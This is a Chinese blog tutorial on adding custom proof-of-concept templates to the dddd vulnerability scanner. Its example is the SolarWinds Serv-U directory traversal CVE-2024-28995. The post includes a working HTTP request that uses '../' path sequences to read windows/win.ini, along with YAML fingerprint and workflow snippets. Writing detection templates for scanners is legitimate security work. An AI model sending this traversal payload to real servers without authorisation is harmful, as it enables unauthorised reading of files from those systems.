长亭百川云 - 文章详情

如何让你的dddd扫描工具有更多的POC

风过江南乱

332

2024-06-18

该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系洪椒攻防实验室公众号。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

一、前言

  • dddd
    相信很多人都用过,并且本人觉得这款扫描器挺好用的,POC数量多,而且扫描逻辑设计的也挺好。

  • 不过POC更新可能没有那么及时,但作者已经预留了非常方便自行添加POC的设计。所以自己收集漏洞信息自己补充POC是一个很不错的选择。

  • 本文介绍从零开始实现如何给dddd
    添加自定义POC。

二、正文

1、收集公开漏洞信息

  • 首先去Github、百度、谷歌、微信公众号等各种渠道收集漏洞信息。

  • 关键词:漏洞复现、POC、EXP、漏洞预警、漏洞通告、漏洞库、漏洞文库、1day、0day等等,然后时间排序,显示最新的漏洞信息。

  • 或者:文件上传、SQL注入、文件读取等等漏洞名称,或者各种交流群、圈子等等。

  • 例如

2、编写yaml格式POC

  • 就以这个 SolarWinds Serv-U目录遍历漏洞复现(CVE-2024-28995) 为例。

  • 可以收集漏洞信息得知数据包是这样的

GET /?InternalDir=../../../../../../../../windows&InternalFile=win.ini HTTP/1.1  
  Host:   
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.2; rv:122.0) Gecko/20000101 Firefox/122.0  
  Accept-Encoding: gzip, deflate  
  Accept: */*  
  Connection: close  
  Content-Type: application/x-www-form-urlencoded
  • 接下来打开Yakit
    ,在Web Fuzzer
    功能中复现一下,哎,OK哈,文件读到了,漏洞可以用。

  • 接下来我们思考一下怎么判断漏洞是否利用成功。注意测试读取的win.ini
    文件是Windows自带的默认文件。意味着我们可以判断是否成功读取到来判断漏洞是否利用成功。

  • 然后可以发现,读取成功会存在关键字:extensions
    ,可以打开自己电脑下的这个文件,可以发现是一样的。

  • 然后接下来我们添加匹配规则,点击规则=>匹配器=>添加,选择攻击者、响应体、输入关键字extensions
    ,点击调试执行匹配成功就能点击应用成功添加。

  • 接下来点击生成Yaml模板,选择Raw模板。

  • 大概写下info
    描述,自己用就不纠结那么多了,能用就行(bushi)。

  • 然后输入扫描目标URL,点击执行,OK,验证成功。

  • 到这里还没结束,因为yakit
    生成的POC和标准的nuclei
    的POC格式可能会有一些差别,我们再拿nuclei
    调试一下。

  • 执行nuclei.exe -t SolarWinds-Serv-U-FileRead-CVE-2024-28995.yaml -u url -debug
    看看报错。

  • 有报错不要慌,ChatGPT,启动!把报错信息和POC丢给它,直接改好。

  • 再测试一次,好,成功了。这一步结束。

3、加入dddd

  • 首先阅读dddd的文档(https://github.com/SleepingBag945/dddd/blob/main/details.md)

  • 有一个很不错的设计,2.0版本已经集成了config
    文件目录,但我们仍然可以很方便的把自己写的POC放入外置的config
    文件,它会自动补充指纹及POC。

  • 大概就是三部曲,加指纹信息(很多系统这一步可以省略,自带指纹库已有,找到对应的名称就行)、放入POC、加工作流(匹配规则)。

  • 首先新建一个config
    文件夹,里面放一个pocs
    子目录、finger.yaml
    、workflow.yaml
    文件。

  • 在finger.yaml
    填入对应的指纹规则,以SolarWinds Serv-U
    为例,可以写

SolarWinds_Serv-U:  
  - 'body="http://www.Serv-U.com"'

  • 在workflow.yaml
    填入对应的工作流(匹配规则),以SolarWinds Serv-U
    为例,可以像下面这么写,如果已有指纹,第一行写已有的指纹名称。
SolarWinds_Serv-U:  
  type:  
    - root  
  pocs:  
    - SolarWinds-Serv-U-FileRead-CVE-2024-28995
  • 然后在pocs
    文件夹中,放入刚刚写好的SolarWinds-Serv-U-FileRead-CVE-2024-28995.yaml

  • 最后将dddd
    放入与config
    同级目录运行扫描,可以发现已经可以识别到我们刚刚添加的指纹及漏洞。OK,结束。

  • 接下来就可以去优化指纹信息了,看上图的指纹信息中已有Serv-U-FTP
    ,可以把自己写的指纹删除,替换工作流中的匹配信息,这里不说了,又不是不能用()。

三、总结

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2